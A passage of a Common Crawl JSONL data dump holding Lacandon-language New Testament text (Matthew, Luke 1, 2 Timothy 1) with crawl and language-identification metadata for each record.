ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.22.LACNT","date":"2021-07-30T10:40:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153966.52\/warc\/CC-MAIN-20210730091645-20210730121645-00213.warc.gz","language":"lac","language_score":0.9999437332,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999943733215332}","num_words":56,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.31,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:18 LACNT\nBaxuc a jera' caj rocha'b Jesucristo ten u nʌ' uch. Caj c'ata'b María, u nʌ' Jesús. José caj u c'ata ti' u tet María. Chen caj u toc c'ataj. Mʌ' toy u raq'uintej. Caj yʌnjij u parar María quire' u Taj'or u Pixam C'uj. Raji' caj u ya'araj u yʌntar u parar María.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.18.LACNT","date":"2021-07-30T21:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153980.55\/warc\/CC-MAIN-20210730185206-20210730215206-00156.warc.gz","language":"lac","language_score":0.9999547005,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999547004699707}","num_words":63,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:23 LACNT\nIrej a xquico' ―quij Isaías: Mʌ' toy u ch'a'i' caj yʌnjij u parar ―quij Isaías―. Bin u pachej u c'aba' Emanuel ―quij Isaías.\nU c'aba' Emanuel u c'at ya'aric: Ti' yʌn C'uj yejero'on ich yoc'ocab. Baxuc caj u ya'araj yʌjmasir u t'ʌn C'uj caj u wʌyʌc'taj José.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.23.LACNT","date":"2021-07-28T21:35:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153791.41\/warc\/CC-MAIN-20210728185528-20210728215528-00214.warc.gz","language":"lac","language_score":0.9998221993,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999822199344635}","num_words":57,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.304,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:6 LACNT\nA Isaíajo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar David. A Davido' raji' oc rey u winiquirob israel. Caj u raq'uintaj David u rac' Urías. Caj c'uchij tu q'uinin u pararʌncʌr u rac' David yʌn u parar David ra' u c'aba' Salomón.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.6.LACNT","date":"2021-08-04T01:09:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154486.47\/warc\/CC-MAIN-20210803222541-20210804012541-00141.warc.gz","language":"lac","language_score":0.997441709,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9974417090415955}","num_words":56,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:16 LACNT\nA Jacobo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' José. José raji' caj u raq'uintaj María. A Maríajo' ra' u c'aba' u nʌ' Jesús. Raji' Jesús a tuchi'ta'b ten C'uj ich yoc'ocab rajen u c'aba' Cristo.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.16.LACNT","date":"2021-08-01T00:27:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154127.53\/warc\/CC-MAIN-20210731234924-20210801024924-00154.warc.gz","language":"lac","language_score":0.9999341965,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999934196472168}","num_words":53,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.31,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 2:16 LACNT\nCaj yubaj Herodes caj u tusarob ti' Herodes a ju ne'er ba'. Caj ts'iquij u rey Herodes. Rajen caj u ya'araj Herodes ti' u soldadojob:\n―Ca' xiquex a quinsex a chan ochir xib ich u cajar Belén. Ca' a rʌc quinsex chan ochir, a ca'tur yaxq'uin caj rocha'b ten u nʌ'. Cax tep u ca'ob, rʌc quinsex ich u cajar Belén. Baxuc caj u yubaj yacob a ju ne'er ba'.\nCa'tur yaxq'uin caj irob a sabo'. Rajen caj u toc quinsajob chan ochir soldadojob:\n―Cʌxtex u chan ochir a nʌts'a'an ich u cajar Belén ca' a quinsex.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.bible.com\/bible\/786\/MAT.2.16.LACNT","date":"2021-09-17T09:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780055632.65\/warc\/CC-MAIN-20210917090202-20210917120202-00697.warc.gz","language":"lac","language_score":0.9993647933,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9993647933006287}","num_words":107,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE'RA' U JACH TSOYIR U T'ɅN C'UJ TU TS'IBTA LUCAS\n1\nLucas cu yʌnxchun u t'ʌn u bʌjob Teófilo\n1 Quire' a wer Teófilo ya'ab mac caj u yʌnxchun u ts'ibticob ba' u ber tu yʌnenob uch a ti' yʌn tu yʌno'onex uch. 2 Caj u yʌnxchun u ts'ibticob u t'ʌn Jesús. Caj u ts'ibtajob a ba' ara'b ten a mac tu yirob Jesús a tu yʌnxchun raji'ob xan caj mʌnob u yamtejob u tsec'ticob u jach tsoyir u t'ʌn Jesús. 3 Rajen tin qui' cʌxtaj in wirej xan wa taj caj u betaj Jesús uch caj ts'oc in wiric taj a ba' caj u betaj Jesús caj in ts'ibtaj a ba' caj u yʌnxchun u betic Jesús hasta baje'rer soc tech a wer u bʌjob in bʌj, Teófilo. 4 Rajen caj in ts'ibtaj tech Teófilo soc a toc er a ba' taj tu camsech uch.\nYʌjmasir u t'ʌn C'uj caj ya'ara bic tabar u rocha'r Juan ten u nʌ'. Raji' cu bin yacsic ja' tu jo'r mac\n5 Ti' yʌn mac cu reyintic u ru'umin Judea, Herodes u c'aba'. Ra' u q'uinin cuxa'an sacerdote pʌcha'an u c'aba' Zacarías. Raji' cu beyaj yejerob yo'nen Abías. Zacarías caj u raq'uintaj Elisabet ra' yo'nen Aarón raji' yo'nen xan sacerdote. 6 Zacarías yejer u rac' caj yiraj C'uj taj cu quibicob u t'ʌn C'uj. Caj yiraj C'uj taj cu qui' mʌnob ich u tsoyir a ba' caj u ya'araj C'uj. 7 Mʌna' u parar Elisabet quire' mʌ'ju c'uchur u yor u pararʌncʌr. Mʌ' ja wirej, u beri' mʌna' u parar, toc ch'ija'an toc ca'turo' yejer u mam baje'rer mʌ' ju pararʌncʌr caj ch'ijob uch. 8 Ra' u q'uinin toc p'isa'an tu cu beyaj Zacarías an ten bic sacerdote ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Ra' u q'uinin cu beyaj ti' yo'nen Zacarías. 9 An ten bic nanij cu bin u toquic a qui' u boque' ich carem naj. Caj bin Zacarías quir u toquic quire' teta'b ten u yet sacerdote. Caj teta'b Zacarías caj ts'oc u yʌrʌc'tic chan tunich. 10 Ra' u q'uinin cu toquic a qui' u boque' Zacarías, tu cotor a pimo' tan u t'ʌnicob C'uj ich u tancabir carem naj. 11 Yʌjmasir u t'ʌn C'uj caj u yesaj u bʌj ti' Zacarías. Zacarías caj yiraj yʌjmasir u t'ʌn C'uj, ch'iquicbar ich u noj tu cu toquic a qui' u boque'. 12 Caj yiraj yʌjmasir u t'ʌn C'uj Zacarías jach jaq'uij yor quire' mʌ' yer ba' u c'at yʌjmasir u t'ʌn C'uj caj u ch'aj sajquir. 13 Yʌjmasir u t'ʌn C'uj caj ya'araj ti':\n―Mʌ' ju jac'ʌr a wor ten, Zacarías. C'uj cu yubic a t'ʌn rajen cu bin yʌntar a parar ca' a pʌchej u c'aba' Juan. 14 Ca' bin qui'ac a wor jach manan qui' a wor. Ya'ab mac cu bin qui' tar yorob quire' yʌn a parar Zacarías. 15 Quire' a parar ca' bin rochac ten u nʌ' jach carem ʌcʌtan u wich C'uj. Mʌ' ju bin yuq'uic u c'ab uva a parar. Bayiri' trago mʌ' ju bin yuq'uic xan. Toc aca'an ti' u Taj'or u Pixam C'uj quir u ts'urintic ca' bin rochac ten u nʌ'. 16 Jach ya'ab cu bin yacsic tu yor ti' C'uj ca' bin yubej u tsec'tic u t'ʌn C'uj u winiquirob israel. 17 A parar Juan cu bin u ts'urinbir u Taj'or u Pixam C'uj soc c'ucha'an yor ti' tu cotor ba' an ten bic Elías uch. Ca' bin yubob u winiquirob judío u tsec'tic u t'ʌn cu bin u quetquintic u yor u pararob yejer u tet soc p'eri'ob yor. Cu bin u tsec'tic ti'ob soc u c'axicob yor a mac a mʌ' ju quibicob C'uj. Soc cu bin u quibicob a mac taj yor, a mac u ne'er. Soc c'ucha'an yor u c'ʌmic a Cristojo' ca' bin tac.\n18 Zacarías caj u c'ataj ti' yʌjmasir u t'ʌn Jaj Ts'ur:\n―Bic tabar in jach er taj a ba' ca wac quire' jach uch ch'ijiquen yej in rac'?\n19 Caj u nuncaj yʌjmasir u t'ʌn C'uj:\n―A teno', raji' in c'aba' Gabriel, quin beyaj ʌcʌtan ti' C'uj. Raji' tu tuchi'tajen quir in wa'aric tech a je' jach tsoy t'ʌna'. 20 A techo' mʌ' ta quibaj in t'ʌn a ba' tin toc a'araj tech baje'rer. Baxuquech mʌ' ju bin joc'ar a t'ʌn hasta cu c'uchur tu q'uinin u rocha'r a parar ten u nʌ'. Jeroj cu joc'ar a t'ʌn. Ca' bin c'uchuc tu q'uinin cu bin joc'ar jach taj an ten bic tin wa'ara tech.\n21 Ti' yʌn a pimo' ich tancab tan pajicob ca' joc'ac Zacarías caj jaq'uij yorob quire' oma'an joc' Zacarías ich japnin carem naj. 22 Caj joc' Zacarías mʌ' ju joc'ar u t'ʌn. Caj u najtajob a pimo' yʌn ba' caj u yiraj Zacarías ich carem naj, caj yesa yejer u c'ʌb Zacarías quire' mʌ' ju joc'ar u t'ʌn.\n23 Caj c'uchij tu q'uinin u ts'ocar u beyaj Zacarías ich carem naj, caj bin ich yatoch. 24 Caj ur Zacarías ich yatoch caj yʌnjij u parar Elisabet. Mʌ' ju c'ʌs joc'ar hasta manij cinco icnʌ'. Tan u tucric ich yor, Elisabet caj u tucraj tu yor: 25 \"In Jaj Ts'urir caj u jawsaj in suraquir tu mʌ' ju yʌn tar in parar. Caj u yamtajen C'uj, soc mʌ' jin pʌyic in su'tar ti' a pim baje'rer.\"\nYʌjmasir u t'ʌn C'uj cu ya'aric je' u rocha'r Jesús ten u nʌ'\n26 Yʌn seis icnʌ' caj najij u nʌc' yejer yʌrʌc' och Elisabet, caj wʌc'ʌs tuchi'ta'b ten C'uj yʌjmasir u t'ʌn ra'iri' Gabriel ca' xic ich u ru'umin Galilea tu cajar Nazaret. 27 Caj bin yiric turiri' xquic a mʌ' yer ba' hasta cu ch'ic u María quire' José cu bin raq'uintic María toy c'ata'b ten José, ra' u nunquir David uch. 28 Yʌjmasir u t'ʌn C'uj caj oc tu yʌn María caj u t'ʌnaj:\n―A C'ujo' cu bin u yamtiquech soc jach manan tsoyirech. Mʌna' u jer xquic baxuco' chen tech tsoyech.\n29 María caj yiraj yʌjmasir u t'ʌn C'uj caj jaq'uij yor María a ba' yuba ya'ara' ti'. Caj u tucraj tu yor: \"Biquinin cu t'ʌniquen baxuc aro'.\" 30 Yʌjmasir u t'ʌn C'uj caj ya'araj:\n―Mʌ' ju jac' a wor ten, María, C'uj cu jach qui' qui' yajquintiquech María. Mʌ' ja wirej, C'uj cu bin yesic bic u jach yajquintiquech. 31 Baje'rer cu bin yʌntar a parar raji' ca bin a rochej xib, ca' a pʌchej u c'aba' JESÚS. 32 A'a parar Jesúso' jach ne no'j, raji' u parar C'uj a ti' yʌn ca'anano'. A Jaj Ts'ur a C'ujo' cu bin yacsic soc u reyinticob u winiquirob judío an ten bic u nunquir David caj u reyintajob uch. 33 Raji' cu bin u reyinticob u winiquirob israel munt q'uin mʌ' ju ts'ocar u reyinticob u winiquirob israel.\n34 María caj u c'ata ti' yʌjmasir u t'ʌn C'uj:\n―Bic tabar in pararʌncʌr quire' mʌ' toy in ch'aj in mami'.\n35 Caj nunca'b ten yʌjmasir u t'ʌn C'uj caj ara'b ti':\n―Je' u tar tech u Taj'or u Pixam C'uj soc u yʌntar a parar quire' jach yʌn u muc' C'uj jach manan ti', rajen cu yʌntar a parar. Ca' bin a rochej a parar yʌn u bin sʌjta'bir ten mac quire' u parar C'uj. 36 Ira wirej, a bʌjob a bʌj Elisabet baje'rer yʌn u parar cax uch ch'ijic yʌnij u parar. Cax a ucho' caj u ya'araj u rac'ob mʌ' u yʌntar u parar. Baje'rer yʌn ti' seis icnʌ' caj yʌnij u parar xib. 37 Quire' a ba' caj u toc araj C'uj c'ucha'an yor ti' cax ca tucric C'uj mʌ' c'ucha'an yor ti'.\n38 Caj ya'araj María:\n―A teno' ―quij María―, u c'urewen in Jaj Ts'urir. Arej ti' C'uj a ba' u c'at u betic ten tsoy quire' ti' yʌnen quir u yʌntar in parar.\nCaj ts'oc u tsicbar María caj bin yʌjmasir u t'ʌn C'uj.\nCaj bin María irbir Elisabet\n39 Mʌ' jach uch caj yiraj yʌjmasir u t'ʌn María, caj bin yirej u bʌjob u bʌj Elisabet. Seb caj toc bin María ich u bʌjob u bʌj quire' ti' cʌja'an Elisabet ich u cajar ich u ru'umin Judea a yʌn u witsir. 40 Caj oc María ich yatoch Zacarías. Caj t'ʌn Elisabet ten María. 41 Caj yubaj u t'ʌnʌn Elisabet seb caj pecnʌj ich u nʌc' Elisabet u chan ochir. Quire' jach yʌn ti' u Taj'or u Pixam C'uj Elisabet. 42 Rajen caj c'am t'ʌn María ten Elisabet quire' qui' yor:\n―A techo', María, jach manan u qui' yajquintiquech C'uj quire' mʌna' u jer xquic teta'b an ten bic tech ―quij―. Jach tsoy a parar ca' bin a rochej quire' C'uj cu bin u yamtic a parar. 43 Maqueni' cu tar yiriquen u nʌ' in Jaj Ts'urir C'uj? Mʌ' ja wirej, tan u sʌjtiquen María. 44 Caj tarech caj a t'ʌnen caj yubaj a t'ʌniquen caj pecnʌj in chan ochir ich in nʌc' quire' qui' yor.\n45 Caj ya'araj Elisabet:\n―Jach qui' a wor María quire' ta quibaj u t'ʌn yʌjmasir u t'ʌn C'uj caj ya'araj: \"Je' u yʌntar a parar.\" Mʌ' ja wirej, a wer bin u nup'ur a ba' caj u ya'ara tech C'uj.\n46 Caj u nuncaj María:\nJach qui' in wor quire' caj in wa'araj ti' in Jaj Ts'urir: jach caremech Jaj Ts'urir. 47 Jach qui' in wor ʌcʌtan C'uj quire' raji' in wʌjtaquir. 48 A C'ujo' tu yajquin ten quire' u c'urewen C'uj cax mʌ' no'jen.\nCaj ya'araj María:\nCa' bin ts'ocac in rochic in parar je' ya'aric a jach pimo': C'uj caj u betaj a tsoyo' ti' ten. Baxuc cu bin ya'ariquenob mac hasta cu xur t'ʌn. 49 A C'ujo' jach manan chichir u muc' quire' caj u yamtajen. Mʌ' ja wirej, jach carem u c'aba' quire' mʌna' u si'pir. 50 A C'ujo' cu yajquintic mac quire' a mac cu sʌjtic C'uj. Cax ber u q'uinin ca' bin rochac ten u nʌ' cu bin yajquinbir ten C'uj wa cu sʌjtic C'uj. 51 A C'ujo' caj u yesaj wa raji' jach manan chichir u muc', bayiri' u ne'er tu cotor ba'. Raji' c'ucha'an yor u ch'esic u beyaj a mac a cu tucric jach carem, a mac a cu tucricob u jach ne'er ba' soc robob mʌ' u c'uchur u yor ti' mʌna' ba'. 52 A C'ujo' c'ucha'an yor u joc'sic a mac a cu ts'urintic u rac'ob a jach no'j u beyaj. Baxuc xan c'ucha'an yor u ts'ic u beyaj ti' a mac irir ten u rac'ob a mʌ' no'jo'. 53 A C'ujo' cu bin u qui'quintic yor a mac a jach otsir yejer a ba' jach tsoyo'. Baxuc xan a mac neyaj u taq'uin, mʌna' ba' cu ts'ic ti'. 54 A C'ujo' caj u yamtaj u winiquirob israel quire' u yaj. A baywo' caj nup' u t'ʌn C'uj a ba' caj u toc araj ti' ic nunquir uch. 55 Quire' caj u c'ʌ'otaj u yajquintaj u winiquirob israel.\nBaxuc caj ara'b ti' ic nunquir Abraham yejer u bʌjob soc munt q'uin cu yajquintic ti'ob.\n56 María caj p'at yejer u bʌjob u bʌj Elisabet. Tres icnʌ' ti' yʌn María ich u bʌjob u bʌj. Pachir caj u wʌc'ʌs bin María ich yatoch.\nCaj rocha'b ten u nʌ' Juan raji' cu yacsic ja' tu jo'r mac\n57 Caj c'uchij tu q'uinin caj pararnʌjij Elisabet, xib caj u rochaj. 58 Caj yubob u rac'ob caj u rochaj u parar Elisabet, baxuc xan u bʌjob caj rʌc qui'ji yorob yejer Elisabet. Caj yajquinta'b ten C'uj rajen yʌnij u parar. Rajen jach qui' yor u rac'ob yejer u bʌjob.\n59 Caj manij turi' semana caj rʌc tarob quir u chan sesic u bʌq'uer an ten bic nanij cu beticob u winiquirob judío quir u yacsicob u c'aba'. U c'at u chen pʌchicob u wʌc'ʌs jer u c'aba' u tet Zacarías. 60 Caj u ya'araj u nʌ':\n―Mʌ' a pʌchiquex u c'aba' Zacarías, tsoy ic pʌchic u c'aba' Juan.\n61 Caj ya'arob:\n―Mʌna' u c'aba' baxuc ich a bʌjob.\n62 Caj c'ata'b ti' u tet ba' quir u c'aba' ca bin a pʌchej, tan yesicob yejer u c'ʌb ti' Zacarías. 63 Caj u mʌcantaj u c'ʌb caj u c'ataj u chan pequer che' caj tar purbir ti' caj u ts'ibtaj: \"Ra' u c'aba' Juan.\" Rajen jaq'uij yor u rac'ob. 64 Ray u q'uinino' seb caj joc' u t'ʌn Zacarías caj u yʌnxchun u t'ʌnic C'uj:\n―Jach caremech C'uj.\n65 A mac ti' cʌja'an tu cajar Zacarías caj u ch'aj sajaquirob caj rʌc mʌn u jumintob ich tu cotor u ru'umin u witsir u ru'umin Judea a ba' u ber Zacarías caj u pʌchaj u c'aba' u parar. 66 Caj yubob u mʌn u jumintej caj u tucrob tu yor:\n―A ba' u ber u parar Zacarías?\nQuire' a C'ujo' cu bin yamta'bir Juan.\nZacarías cu c'ay quire' qui' yor\n67 U tet Juan Zacarías jach yʌn ti' u Taj'or u Pixam C'uj, rajen caj ya'araj ti' C'uj:\n68 Jach caremech C'uj, quire' caj a cʌnantaj u winiquirob israel. Mʌ' ja wirej, caj a tacato'on baxuc caj a yamtaj ti'ob. 69 A C'ujo' caj u ts'aj to'on ij cʌjtaquir a mac manan chichir u muc'. Ra' cu tar ti' ic nunquir David a caj u reyintaj u winiquirob israel uch. 70 Baxuc caj u toc araj ti' a mac ts'a'b u tucur ten C'uj uch. 71 Baxuc caj u toc araj C'uj uch: \"Je' in taquiquechex ti' a mac cu p'actiquechex a mac a mʌ' u winiquirob judío\", baxuc caj u ya'araj C'uj. 72 A C'ujo' caj ya'araj: \"Je' in yajquintic ti' ic nunquir tan u yamtic ti'ob. Mʌ' ju bin tubur ti' a ba' caj u toc araj uch.\" 73 Baxuc caj toc ara'b ti' ic nunquir Abraham uch: 74 \"Cu bin tacbir ti' a mac cu p'actico'on soc c'ucha'an ij cor ij c'ujintic C'uj soc mʌ' ic ch'ic sajaquir ti' mac.\" 75 Caj u chajex to'on ij cacsic tij cor soc ij cʌnic C'uj soc u bur u q'uinin ic manex tu tsoyir ʌcʌtan ti' hasta cu xur t'ʌn. 76 Caj ya'araj Zacarías ti' u parar: \"A techo', in pararech, je' u t'ʌniquech yʌjtseq'uir u t'ʌn C'uj caj bin a pʌyic u ber ic Jaj Ts'urir soc yer a rac'ob u winiquirob judío je' u tar Jaj Ts'ure'. 77 A C'ujo' caj u tetaj to'on a techo', chan och, ca bin a wa'aric C'uj cu jawsic ic si'pir quir u taquic to'on. 78 Quire' u jach tsoyir u pixam C'uj caj u yajquintaj to'on ca' bin tac tu q'uinin cu c'uchur. 79 Ij cʌjtaquir je' u sasichʌjir u pixam ten C'uj. A mac a cu man tu yac'birir yʌn u c'oxar u pixam ten C'uj quir u sasichʌjir u pixamob. Cu bin u rʌc ruc'sic a ba' quic sʌjtic ij quimin.\"\n80 Caj ch'ijij Juan caj bin u cʌjtar ich tʌcay ru'um. Caj u qui' cʌnaj C'uj Juan. Hasta c'uchij tu q'uinin caj u yesaj u bʌj ti' u rac'ob u winiquirob israel yʌjpʌyiren u ber Jaj Ts'ur.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/LUK01.htm","date":"2021-12-07T03:38:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363332.1\/warc\/CC-MAIN-20211207014802-20211207044802-00257.warc.gz","language":"lac","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000065565109253}","num_words":2400,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.293,"stopwords_ratio":0.489,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', PACHIR CAJ U CA' TS'IBTA PABLO TI' TIMOTEO\n2 TIMOTEO\n1\nTs'ibta'b Timoteo ten Pablo\n1 A teno' Pablojen tu tuchi'ten Jesucristo quir in tsec'tic u t'ʌn quire' tsoy tu t'ʌn C'uj ca' xiquen. Mʌ' ja wirej, binen quire' aro' quet yejer u t'ʌn uch. Caj ya'araj, yʌn to'on cuxtar munt q'uin quire' raji' Cristo Jesús. 2 A je' ju'una' quin ts'ibtic tech Timoteo, quire' tech in jach yajech, in pararech. Mʌ' ja wirej, caj a wacsaj ta wor caj a wu'yaj in tsec't u t'ʌn C'uj rajen in pararech. Quin t'ʌnic C'uj ca' u yam tech soc u yajquintiquech. Quin t'ʌnic quir u qui'tar a wor soc mʌna' ba' ca tucric. Bayiri' quin c'atic ti' ic Jaj Ts'urirex Cristo Jesús xan.\nCu tsicbar Pablo bic jach tsoy a Cristoje'\n3 Quin wac ti' C'uj: \"Bayo'\", quen ti' C'uj quin c'ujintiquech rajen jach tsoy in tucur. Baxuc xan in nunquir uch xan tu c'ujintajob C'uj rajen jach tsoy u tucurob in nunquir uch. Quin wac \"bayo'\" ti' C'uj quire' a tech Timoteojo' ta wacsaj ta wor. Rajra' quin t'ʌnic C'uj tech. 4 A teno' jach manan in c'at in ca' iric a wich tu ca'ten. Quire' in c'ʌ'omʌn caj a wac'taj a bʌj caj in p'ʌtech ich u cajar Efeso uch. Wa quin wiric a wiche', jach manan u qui'ir in wor tech. 5 Mʌ' ja wirej, taj ta cʌn a wacsic ta wor ti' a chich Loida. Bayiri' ta cʌn a wacsic ta wor ti' a nʌ' Eunice. Robob jach taj tu yacsob tu yorob rajen tech xano' taj ta wacsaj ta wor xan.\n6 Rajen tan in c'asic tech soc mʌ' u tubur tech. Mʌ' a cha'ic u tupsic a wor quire' a wet acsʌ'orirob tu ca camsic ti'ob. Mʌ' ja wirej, tu ts'aja a beyaj C'uj uch. Ra' u q'uinin caj in ts'anc'ʌbtob tech ten yejer u jach ts'urirob tu cu c'ayob jeroj caj oquech ta beyaj ti' C'uj. Rajen chichquint a wor quir a beyaj ti' C'uj. 7 Mʌ' ja wirej, wa quic ch'ic sajaquir ti' mac tu quic tsec'tic u t'ʌn C'uj aro' mʌ' ju tar ich C'uj. C'ʌ'otej u Taj'or u Pixam C'uj bin u ca' u chuquej to'on u muc'. Mʌ' ja wirej, a C'ujo' cu ts'ic to'on quir ic yajquintic tu cotor mac a ju yaj C'uje'. A C'ujo' cu chuquic to'on u tsoyir soc c'ucha'an ij cor mʌ' jic man tu c'asir. 8 Rajen mʌ' a yʌn ch'ic sajquir quir a tsicbar ti' u jer winic C'uj a mac ic Jaj Ts'urirex. Mʌ' ja ch'ic surquir ten Timoteo, quire' c'ʌra'anen tu cu ma'cʌr winic. Mʌ' ja wirej, mʌca'anen quire' tin tsec't u t'ʌn ic Jaj Ts'urirex. C'ʌ'otej Timoteo, soc p'eri' ic muc'yaj quire' u jach tsoyir u t'ʌn C'uj. Mʌ' ja wirej, a C'ujo' cu chichquintic ij cor soc c'ucha'an ij cor ic muc'tej. 9 C'ʌ'otej Timoteo, a C'ujo', tu ta'co'on soc ij cʌnic u t'ʌn. Mʌ' ju chen ta'co'on cax yirej tsoy ic beyaj. Mʌ' ju chen taco'on a C'ujo', cax yirej tsoyo'on. Tu chen taco'on quire' yʌn ba'wir to'on. Tu chen taco'on quire' u c'at u yamtic to'on Jesucristo, soc mʌ' jic bin ich c'ac'. A C'ujo' tu yajquinto'on tu ch'ic chunin uch cax mʌna' mac cax mʌna' yoc'ocab uch. Tu yajquinto'on quire' u parar C'uj a Jesucristojo'. 10 A C'ujo', mʌ' tari te'ra' ich yoc'ocab hasta caj tarij ij cʌjtaquir ich yoc'ocab. Raji' Jesucristo, soc mʌ' ic bin quimin. Caj ij cu'y u jach tsoyir u t'ʌn C'uj, caj ij cu'ya bic tabar ij cuxtar munt q'uin.\n11 Mʌ' ja wirej, tu tetajen C'uj soc in bin in tsec't u t'ʌn ich tu cotor mac a mʌ' u winiquirob judío. Rajen tan in man in cams u t'ʌn ich a mac a mʌ' u winiquirob judío. 12 Rajen Timoteo, caj u chucajenob ca' u mʌquenob tu cu ma'cʌr winic. Rajen tan in muc'yaj baje'rer. Barej mʌ' jin ch'aj sajaquir ti'i' cax quin muc'yaj. Quire' in jach er a mac a tin wacsaj tin wor a ti'o'. Rajen in toc er c'ucha'an yor Jesús u cʌnantic in pixam a tin c'ubaj ti'o' hasta tu q'uinin u yu'ur Cristo. Rajen tin wacsaj tin wor a ti'o'.\n13 Qui' cʌnej u tajir t'ʌn C'uj a tin camsaj tech Timoteo, soc raji' ca wʌc'ʌs camsic ti' u jer winic. Jach manan ca' a cʌnej soc taj ca wacsic ta wor. Soc taj ca yajquintic winic quire' u pararech Cristo Jesús baje'rer. 14 Cʌnʌt u t'ʌn C'uj, a c'uba'an tech ten u Taj'or u Pixam C'ujo' uch. Mʌ' ja wirej, u Taj'or u Pixam C'uj cu cʌjtar tu yor a mac a tu quibaj u t'ʌn. Raji' cu bin u yam tech soc a qui' camsic ti' u jer winic.\n15 Ta toc u'yaj a jera' Timoteo. Tu cotor winic a yacsmʌnob tu yorob ich u ru'umin Asia caj u xump'ʌtenob. Quet yejer Figelo yejer Hermógenes. 16 Barej in c'at C'uj ca' u yajquinte Onesíforo yejer u bʌjob a ti' yʌnob tu yatoch Onesíforo, soc u yamta'r ti'ob. Mʌ' ja wirej, susu' caj tarij Onesíforo quir u chichquintej in wor tu c'ʌra'anen. Mʌ' ju ch'aj sujraquiri' cax tu yiren c'ʌra'anen tu cu ma'cʌr winic. 17 Caj c'uchij tu cajar Roma caj u sebquint u cʌxtiquen tu c'ʌra'anen. Caj u qui'qui' cʌxten hasta tu yiren. 18 Quin t'ʌnic C'uj ca' yajquinta'c Onesíforo ten C'uj ca' bin c'uchuc tu q'uinin xur t'ʌn quire' tu tucren Onesíforo. C'ʌ'otej Timoteo bic caj u yamto'on Onesíforo tu cajar Efeso uch. In wer a jach c'ʌ'omʌn uch.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/2TI01.htm","date":"2021-11-27T02:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00518.warc.gz","language":"lac","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.999984622001648}","num_words":901,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.286,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', CAJ U YɅN BAT'AN TS'IBTA PABLO TI' U YET ACSɅ'ORIROB ICH U CAJAR TESALÓNICA\n1 TESALONICENSES\n1\nA Pablojo' quet u ts'ib yejer u nup' tu cu naj c'ujinticob C'uj tu cajar 